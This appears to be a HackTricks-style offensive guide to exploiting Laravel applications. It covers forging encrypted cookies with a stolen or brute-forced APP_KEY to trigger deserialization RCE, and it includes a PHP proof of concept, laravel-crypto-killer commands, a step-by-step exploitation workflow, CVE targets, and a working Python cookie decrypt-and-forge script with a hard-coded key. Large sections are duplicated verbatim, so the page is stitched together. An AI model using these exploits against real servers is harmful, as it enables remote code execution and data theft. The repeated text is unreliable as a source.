286 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Laravel
{{#include ../../banners/hacktricks-training.md}}
### Laravel SQLInjection
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## Real-world vulnerable patterns
| Project | Vulnerable sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
The exploitation workflow is always:
1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
2. Generate gadget with **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Deliver payload through the vulnerable parameter/cookie → **RCE**
---
## Mass APP_KEY discovery via cookie brute-force
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
Key findings of the research published by Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
* Huge key reuse the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
---
## References
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
## Laravel Tricks
### Debugging mode
If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
For example `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
This is usually needed for exploiting other Laravel RCE CVEs.
### .env
Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`
Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).
Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:
### Decrypt Cookie
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE
Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Here you can find information about the deserialization vulnerability here: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Another deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## Real-world vulnerable patterns
| Project | Vulnerable sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
The exploitation workflow is always:
1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
2. Generate gadget with **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Deliver payload through the vulnerable parameter/cookie → **RCE**
---
## Mass APP_KEY discovery via cookie brute-force
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
Key findings of the research published by Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
* Huge key reuse the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
---
## References
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}